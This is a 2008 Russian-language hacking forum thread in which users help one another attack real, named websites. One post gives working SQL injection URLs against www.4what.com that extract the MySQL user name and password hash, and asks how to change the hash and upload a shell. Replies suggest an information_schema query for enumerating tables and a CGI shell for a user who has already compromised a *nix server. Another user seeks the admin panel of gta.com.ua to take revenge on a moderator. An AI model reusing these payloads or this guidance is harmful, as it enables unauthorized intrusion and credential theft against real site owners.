 |
|
18.08.2008, 21:49
|
|
Новичок
Регистрация: 17.08.2008
Сообщений: 4
С нами:
9333054
Репутация:
1
|
|
www.4what.com
Здравствуйте! Я долго копался на этом форуме и нашел где мне помогут насчет SQL-инъекции на сайте
Site:www.4what.com
Зайдя на https://www.4what.com/news.php?id=55' появилась ошибка:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/fwhat/public_html/news.php on line 149
Далее зашел на
http://www.4what.com/news.php?id=-1+union+select+1,2,user+from+mysql.user/*
высветилось логин:4what
потом
http://www.4what.com/news.php?id=-1+union+select+null,mysql.user.password,null+from+ mysql.user/*
высветилось хэш:*832547126835E90D7CCB5772A85B0E6552904217
(а зачем звездочка?)
Дальше не знаю
Можно ли этот хэш поменять на свой? И какой командой(UPDATE? не получается че то)
И последний вопрос Подскажите что надо сделать что бы загрузитьт туда шелл
Спасибо вам за ответы кто ответит....
|
|
|
18.08.2008, 22:16
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами:
10485026
Репутация:
1879
|
|
Там версия пятая. Какие проблемы?
table_name+from+information_schema.tables+limit+1, 1/*
И поехали...
|
|
|
|
18.08.2008, 23:27
|
|
Новичок
Регистрация: 17.08.2008
Сообщений: 4
С нами:
9333054
Репутация:
1
|
|
Спасибо Ch3ck за помощь!
|
|
|
|
19.08.2008, 00:38
|
|
Новичок
Регистрация: 13.08.2008
Сообщений: 6
С нами:
9338708
Репутация:
0
|
|
Народ help плиз. Вообщем тема такая на одном сервере *nix я залил shell но доступ имею только к своей папке и всё большинство опций разрешено, но я так как новичек не шибко могу сам пользоваться командами так как незнаю, я проверил все программы на уязвимость но админ следит за апргрейдами и постоянно обновляет. Я всегда пользовался эксплоитами и этого хватало пока, но теперь что делать только через брут или можно попробовать какие либо команды.
З.Ы. К папке этого пользователя под кем я зашел имею полный доступ.
|
|
|
|
19.08.2008, 03:33
|
|
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами:
10058786
Репутация:
4589
|
|
Сообщение от sher_or_wer
Народ help плиз. Вообщем тема такая на одном сервере *nix я залил shell но доступ имею только к своей папке и всё большинство опций разрешено, но я так как новичек не шибко могу сам пользоваться командами так как незнаю, я проверил все программы на уязвимость но админ следит за апргрейдами и постоянно обновляет. Я всегда пользовался эксплоитами и этого хватало пока, но теперь что делать только через брут или можно попробовать какие либо команды.
З.Ы. К папке этого пользователя под кем я зашел имею полный доступ.
Попробуй cgi шелл .. (теги: telnet.cgi)
|
|
|
|
19.08.2008, 12:05
|
|
Новичок
Регистрация: 31.07.2008
Сообщений: 11
С нами:
9356820
Репутация:
-3
|
|
Помогите найти админку на сайте gta.com.ua
|
|
|
|
19.08.2008, 12:17
|
|
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
С нами:
10172486
Репутация:
874
|
|
Вероятнее всего вот она...
http://gta.co.ua/admin/
но доступ закрыт, может по айпи
|
|
|
|
19.08.2008, 12:20
|
|
Новичок
Регистрация: 31.07.2008
Сообщений: 11
С нами:
9356820
Репутация:
-3
|
|
Врядли, мне надо куда то логин и пароль ввести, на форум не проходит, должна быть админка где нужна авторизация
|
|
|
|
19.08.2008, 12:46
|
|
Новичок
Регистрация: 31.07.2008
Сообщений: 11
С нами:
9356820
Репутация:
-3
|
|
Да ё моё, неужели никто из античата неможет найти эту грёбанную админку, с её грёбанным администратором который меня гад забанил, да ещё и нахомил, да ещё ина Sa.mp непускает
|
|
|
|
19.08.2008, 13:04
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от Elephant
Да ё моё, неужели никто из античата неможет найти эту грёбанную админку, с её грёбанным администратором который меня гад забанил, да ещё и нахомил, да ещё ина Sa.mp непускает
Послушай, дружище, сдесь не базар. Если ты не умеешь читать, то никто не виноват, а если ты будешь так себя вести, то скоро и помогать перестанут
Red_Red1 тебе помоему дал линк, что по твоему это такое? просто тупо папка к которой закрыт доступ? Или если для тебя нет формы для ввода это не админка?
И даже если это не она, не надо тут голосить, тебе никто ничего не должен
Последний раз редактировалось jokester; 19.08.2008 в 13:09..
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
